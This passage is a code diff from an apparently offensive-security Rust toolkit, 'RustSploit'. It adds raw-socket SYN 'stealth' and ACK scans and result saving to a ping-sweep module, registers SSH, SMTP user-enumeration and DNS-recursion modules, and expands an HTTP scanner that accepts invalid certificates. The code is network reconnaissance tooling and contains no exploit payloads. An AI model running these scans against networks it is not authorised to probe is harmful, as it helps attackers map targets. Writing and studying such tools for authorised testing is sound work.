||||
r#"
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ HTTP TITLE SCANNER (RustSploit) ║
|
||||
║ Enumerate page titles over HTTP/HTTPS endpoints ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Title Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
@@ -5,3 +5,6 @@ pub mod stalkroute_full_traceroute;
|
||||
pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
pub mod ssh_scanner;
|
||||
pub mod smtp_user_enum;
|
||||
|
||||
@@ -1,17 +1,25 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ipnet::IpNet;
|
||||
use libc;
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
net::{IpAddr, SocketAddr},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
Arc, Mutex,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
|
||||
use rand::Rng;
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct PingConfig {
|
||||
@@ -20,12 +28,16 @@ struct PingConfig {
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
verbose: bool,
|
||||
save_up_hosts: Option<String>,
|
||||
save_down_hosts: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
enum PingMethod {
|
||||
Icmp,
|
||||
Tcp { ports: Vec<u16> },
|
||||
Syn { ports: Vec<u16> },
|
||||
Ack { ports: Vec<u16> },
|
||||
}
|
||||
|
||||
impl PingMethod {
|
||||
@@ -46,6 +58,34 @@ impl PingMethod {
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Syn { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("SYN/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"SYN [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Ack { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("ACK/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"ACK [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,6 +93,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP",
|
||||
PingMethod::Tcp { .. } => "TCP",
|
||||
PingMethod::Syn { .. } => "SYN",
|
||||
PingMethod::Ack { .. } => "ACK",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -60,6 +102,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => icmp_probe(ip, timeout).await,
|
||||
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
|
||||
PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
|
||||
PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
|
||||
// Ask about saving results
|
||||
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_up_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_down_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Syn { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Ack { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if methods.is_empty() {
|
||||
println!("{}", "Select at least one method.".red().bold());
|
||||
continue;
|
||||
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
concurrency,
|
||||
timeout_secs,
|
||||
verbose,
|
||||
save_up_hosts,
|
||||
save_down_hosts,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
let processed_counter = Arc::new(AtomicUsize::new(0));
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
// Collections for saving results
|
||||
let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
let methods_clone = methods.clone();
|
||||
let success_clone = success_counter.clone();
|
||||
let processed_clone = processed_counter.clone();
|
||||
let up_list = up_hosts_list.clone();
|
||||
let down_list = down_hosts_list.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match sem.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
// Add to up hosts list
|
||||
if let Ok(mut list) = up_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
} else {
|
||||
// Add to down hosts list
|
||||
if let Ok(mut list) = down_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
.bold()
|
||||
);
|
||||
|
||||
// Save results to files if requested
|
||||
if let Some(ref up_file) = config.save_up_hosts {
|
||||
let up_list = up_hosts_list.lock().unwrap();
|
||||
if !up_list.is_empty() {
|
||||
match save_hosts_to_file(&up_list, up_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref down_file) = config.save_down_hosts {
|
||||
let down_list = down_hosts_list.lock().unwrap();
|
||||
if !down_list.is_empty() {
|
||||
match save_hosts_to_file(&down_list, down_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
|
||||
let mut file = File::create(file_path)
|
||||
.with_context(|| format!("Failed to create file '{}'", file_path))?;
|
||||
|
||||
for host in hosts {
|
||||
writeln!(file, "{}", host)
|
||||
.with_context(|| format!("Failed to write to file '{}'", file_path))?;
|
||||
}
|
||||
|
||||
file.flush()
|
||||
.with_context(|| format!("Failed to flush file '{}'", file_path))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -469,6 +621,376 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// SYN scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("SYN scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match syn_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("SYN/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for SYN scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for SYN scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP (use a dummy IP if we can't determine it)
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft SYN packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::SYN);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send SYN packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// SYN-ACK means port is open
|
||||
if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
|
||||
return Ok(true);
|
||||
}
|
||||
// RST means port is closed but host is up
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true); // Host is up
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// ACK scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("ACK scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match ack_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("ACK/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for ACK scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for ACK scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft ACK packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::ACK);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send ACK packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// RST means port is unfiltered (host is up)
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
// Try to get a local IPv4 address for the source IP
|
||||
// This is a simple implementation - in production you might want more sophisticated logic
|
||||
use std::net::UdpSocket;
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
|
||||
if socket.connect("8.8.8.8:80").is_ok() {
|
||||
if let Ok(local_addr) = socket.local_addr() {
|
||||
if let IpAddr::V4(ipv4) = local_addr.ip() {
|
||||
return Some(ipv4);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
@@ -1,15 +1,202 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::fs::File;
|
||||
use std::io::{self, Write};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Connectivity Scanner ║".cyan());
|
||||
println!("{}", "║ Checks HTTP/HTTPS reachability and response codes ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// A simple scanner that tries an HTTP GET and prints the response code
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_scanner on: {}", target);
|
||||
|
||||
let url = format!("http://{}", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?;
|
||||
|
||||
println!("[*] Status code: {}", resp.status());
|
||||
display_banner();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
|
||||
let verbose = prompt_bool("Verbose output?", false)?;
|
||||
let save_results = prompt_bool("Save results to file?", false)?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
return Err(anyhow!("At least one protocol must be selected"));
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut results = Vec::new();
|
||||
let start = Instant::now();
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting scan...".cyan().bold());
|
||||
|
||||
// Check HTTP
|
||||
if check_http {
|
||||
let url = if target.contains("://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTP {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
println!("{}", format!("[~] HTTP {} -> {} (Redirect: {})", url, status_str, location).yellow());
|
||||
} else {
|
||||
println!("{}", format!("[-] HTTP {} -> {}", url, status_str).red());
|
||||
}
|
||||
|
||||
results.push(format!("HTTP {} -> {} (Server: {})", url, status_str, server));
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] HTTP {} -> Error: {}", url, e).red());
|
||||
results.push(format!("HTTP {} -> Error: {}", url, e));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check HTTPS
|
||||
if check_https {
|
||||
let url = if target.contains("://") {
|
||||
target.replace("http://", "https://")
|
||||
} else {
|
||||
format!("https://{}", target)
|
||||
};
|
||||
|
||||
if verbose {
|
||||
println!("{}", format!("[*] Checking {}...", url).dimmed());
|
||||
}
|
||||
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let status_str = status.to_string();
|
||||
let server = resp.headers()
|
||||
.get("server")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
let content_type = resp.headers()
|
||||
.get("content-type")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] HTTPS {} -> {} (Server: {}, Content-Type: {})",
|
||||
url, status_str, server, content_type).green());
|
||||
} else if status.is_redirection() {
|
||||
let location = resp.headers()
|
||||
.get("location")
|
||||
.map(|v| v.to_str().unwrap_or("unknown"))
|
||||
.unwrap_or("unknown");
|
||||
